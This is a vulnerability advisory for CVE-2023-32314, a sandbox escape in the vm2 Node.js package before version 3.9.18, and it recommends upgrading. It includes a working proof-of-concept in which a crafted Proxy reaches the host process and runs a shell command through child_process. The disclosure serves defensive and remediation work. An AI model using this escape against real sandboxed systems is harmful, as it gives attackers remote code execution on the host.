Sandbox Bypass Affecting vm2 package, versions <3.9.18
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.33% (87th
percentile)
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Test your applications- Snyk ID SNYK-JS-VM2-5537100
- published 16 May 2023
- disclosed 15 May 2023
- credit Takeshi Kaneko
Introduced: 15 May 2023
CVE-2023-32314 Open this link in a new tabHow to fix?
Upgrade vm2 to version 3.9.18 or higher.
Overview
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Sandbox Bypass by abusing an unexpected creation of a host object based on the maliciously crafted specification of Proxy.
Exploiting this vulnerability allows an attacker to gain remote code execution rights on the host running the sandbox via the Function constructor.
PoC
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
References
CVSS Scores
version 3.1